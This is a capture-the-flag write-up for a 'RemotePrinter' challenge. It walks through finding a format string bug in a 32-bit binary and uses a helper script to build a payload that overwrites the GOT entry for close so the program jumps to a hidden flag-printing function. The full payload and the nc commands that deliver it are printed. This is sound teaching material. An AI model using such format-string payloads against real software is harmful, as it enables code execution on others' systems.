Category: Exploit Points: 80 Solves: 101 Description:

Description: Printer are very very important for offices. Especially for remote printing. My boss told me to build a tool for that task.

Attachment: exp80.zip

Service: 188.166.133.53:12377

 

This example problem actually spurred me to create a helper script. Basically, I find that I do the same things every time that I run into a format string vulnerability. #1 is to re-learn how the damn thing works. #2 is to flounder around to try to find the right syntax. #3 is to spend time trying to figure out what is on the stack and what I have access to. This helper script solves all of that. But on to the challenge...

 

As usual, let's file it:

 

$ file RemotePrinter 
RemotePrinter: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=3db29aea1dc4af0eb3f7104e529f856256a1d775, stripped

 

Pretty basic so far. Take a peek at the strings. Here are interesting ones that I found:

 

$ strings RemotePrinter
This is a remote printer!
Enter IPv4 address:
%15s
Enter port:
Thank you, I'm trying to print %s:%d now!
No socket :(
No communication :(
No data :(
flag.txt
YAY, FLAG: %s

 

Now, just giving it a run we get:

 

$ ./RemotePrinter 
This is a remote printer!
Enter IPv4 address:127.0.0.1
Enter port:12345
Thank you, I'm trying to print 127.0.0.1:12345 now!
No communication :(
: Connection refused

 

Easy enough to determine it wants to connect to something. In a second window, run:

 

echo "Hello %x" | nc -l 12345

 

You'll see something like the following show up in the original window next time you run it:

 

$ ./RemotePrinter 
This is a remote printer!
Enter IPv4 address:127.0.0.1
Enter port:12345
Thank you, I'm trying to print 127.0.0.1:12345 now!
Hello ffffaa2c

 

Notice that the %x was expanded. Honestly, in any of these challenges where you control input you might as well give format string a shot. If %x ends up turning into hex of some sort, then you know you've got a vuln. Now that we know we have a format string vulnerability, let's use my script to help us find it. The script can be found here: https://github.com/Owlz/formatStringExploiter

 

To use the script, ensure you have python 2.7 installed and are running with pwntools. See the github page for details, but it's pretty strait forward. Now, give it a run:

 

$ formatStringExploiter.py RemotePrinter 

  __                           _         _        _                               _       _ _           
 / _|                         | |       | |      (_)                             | |     (_) |          
| |_ ___  _ __ _ __ ___   __ _| |_   ___| |_ _ __ _ _ __   __ _    _____  ___ __ | | ___  _| |_ ___ _ __
|  _/ _ \| '__| '_ ` _ \ / _` | __| / __| __| '__| | '_ \ / _` |  / _ \ \/ / '_ \| |/ _ \| | __/ _ \ '__|
| || (_) | |  | | | | | | (_| | |_  \__ \ |_| |  | | | | | (_| | |  __/>  <| |_) | | (_) | | ||  __/ |  
|_| \___/|_|  |_| |_| |_|\__,_|\__| |___/\__|_|  |_|_| |_|\__, |  \___/_/\_\ .__/|_|\___/|_|\__\___|_|  
                                                           __/ |           | |                          
                                                          |___/            |_|                          
https://github.com/Owlz/formatStringExploiter

Loading: RemotePrinter
[*] Stack is executable!

Test string length? (default = 10)

 

Note that I gave it the program path as an input. This is important so that it can load up the binary with pwntools and resolve many things for us automatically. For this first input, just accept the default by pressing enter.

 

Copy the following into your format string vulnerable application. The purpose is to automatically determine things about your vulnerability.
-->    AAAABBBBCCCCDDDD%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

Copy and paste the output back in here:
-->   


Next, do what it says. The first variable given needs to be copy and pasted into the vulnerable buffer to be executed. Let's do so:

 

$ echo "AAAABBBBCCCCDDDD%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x" | nc -l 12345 &
$ ./RemotePrinter 
This is a remote printer!
Enter IPv4 address:127.0.0.1
Enter port:12345
Thank you, I'm trying to print 127.0.0.1:12345 now!
AAAABBBBCCCCDDDDffffaa6c000020000000000000000000000000000000000041414141424242424343434344444444

 

Note that it expanded those variables for us. Copy and paste that last line back into the script and let it tell you what's going on:

 

Copy and paste the output back in here:
-->    AAAABBBBCCCCDDDDffffaa6c000020000000000000000000000000000000000041414141424242424343434344444444

+-----+------------+---------+-------+----------+-------+
| Arg |   Value    | Control | Extra | Section  | Perms |
+-----+------------+---------+-------+----------+-------+
|  0  | 0xffffaa6c |   None  |       |          |       |
|  1  |   0x2000   |   None  |       |          |       |
|  2  |    0x0     |   None  |       | .comment |       |
|  3  |    0x0     |   None  |       | .comment |       |
|  4  |    0x0     |   None  |       | .comment |       |
|  5  |    0x0     |   None  |       | .comment |       |
|  6  | 0x41414141 |    1    |  AAAA |          |       |
|  7  | 0x42424242 |    2    |  BBBB |          |       |
|  8  | 0x43434343 |    3    |  CCCC |          |       |
|  9  | 0x44444444 |    4    |  DDDD |          |       |
+-----+------------+---------+-------+----------+-------+

I've discovered 4 known control points.

What to do?
-----------
  1) Arbitrary Write
  2) Arbitrary Read

Select Action:

 

The script parsed out what it found as variables. It is saying that it has 4 control points, meaning we certainly can read anything and write anything. The beauty here is that you can let it figure out what to do, even if you have no control points. So what to do... Let's take a quick peek at the control flow of this program:

 

 

The part highlighted in yellow is where our printf vulnerability happens. So the question is, with an arbitrary write, how do you gain execution? To be honest, there are many, many ways since we do have arbitrary write. That said, the way I chose was to overwrite the GOT table entry for the close call that happens right after our printf.

 

The quick and dirty explanation for a GOT table overwrite is that Linux needs to look up where a function call is (say the close call in this case). This is because Linux is lazy. I'm not being mean. It is called lazy loading and Linux does this for performance reasons. However, this means it is often a target of overwrites because it means the next time that function is called, we get called instead. Let's do this.

 

The next question is where do we want to go with the execution? Again, there are things you can do. The stack is executable so you could write your own shellcode and execute it. However, up in the initial strings area we saw there was a reference to "flag". This often indicates a place we would like to be, and did again in this case. Let's take a look at it.

 

 

As expected, it reads in flag.txt and prints out the flag. Note that IDA doesn't resolve this automatically as a code area. This is because it is actually never directly referenced. This was likely just a function created in the C code, but never called. In any case, we now know we want to jump to 0x8048867 which is the start of this un-used function.

 

Here again, we find the power of the format string script. Most other write-ups at this point would be diving back into writing the format string, looking up values, etc. While we could do that, I'll show you how the format string exploiter script can do that for you. Remember previously, we had the script open at this prompt:

 

+-----+------------+---------+-------+----------+-------+
| Arg |   Value    | Control | Extra | Section  | Perms |
+-----+------------+---------+-------+----------+-------+
|  0  | 0xffffaa6c |   None  |       |          |       |
|  1  |   0x2000   |   None  |       |          |       |
|  2  |    0x0     |   None  |       | .comment |       |
|  3  |    0x0     |   None  |       | .comment |       |
|  4  |    0x0     |   None  |       | .comment |       |
|  5  |    0x0     |   None  |       | .comment |       |
|  6  | 0x41414141 |    1    |  AAAA |          |       |
|  7  | 0x42424242 |    2    |  BBBB |          |       |
|  8  | 0x43434343 |    3    |  CCCC |          |       |
|  9  | 0x44444444 |    4    |  DDDD |          |       |
+-----+------------+---------+-------+----------+-------+

I've discovered 4 known control points.

What to do?
-----------
  1) Arbitrary Write
  2) Arbitrary Read

Select Action:

 

We have the ability to choose from an arbitrary read and an arbitrary write. In our case, as discussed above, we'd like to arbitrary write the value of our flag catting function over the GOT entry for close. Let's do this the easy way. I will paste the remaining prompts together:

 

Select Action: 1

Enter address to overwrite (i.e.: 0x12345678 or 427512645). If you loaded the binary, you can use a symbol as well (i.e.: secret)
-->    got.close

Enter value (or symbol name) to write to this address (int or hex)
-->    0x8048867

Here's your format string line:
-->    '\x80\x9c\x04\x08\x82\x9c\x04\x08CCCCDDDD%2036c%8$hn%32867c%7$hn'

Example from bash:
-->    $ echo -e '\x80\x9c\x04\x08\x82\x9c\x04\x08CCCCDDDD%2036c%8$hn%32867c%7$hn' | ./formatStringTest

 

What happened here? The script resolved "got.close" for us (the GOT entry location for close), determined that it needed to use two control values (technically it could use one, but it prefers two and using half writes for speed reasons), wrote out the two addresses, wrote out the correct number of remaining characters, and wrote the half writes, all in the proper orders. Finally, it gives the results to you. Easy, right? Let's ensure it works:

 

$ echo -e '\x80\x9c\x04\x08\x82\x9c\x04\x08CCCCDDDD%2036c%8$hn%32867c%7$hn' | nc -l 12345 &
$ ./RemotePrinter 
This is a remote printer!
Enter IPv4 address:127.0.0.1
Enter port:12345
Thank you, I'm trying to print 127.0.0.1:12345 now!
����CCCCDDDD <bunch of garbage here> YAY, FLAG: IW{YVO_F0RmaTt3d_RMT_Pr1nT3R}

 

Easy day. :-)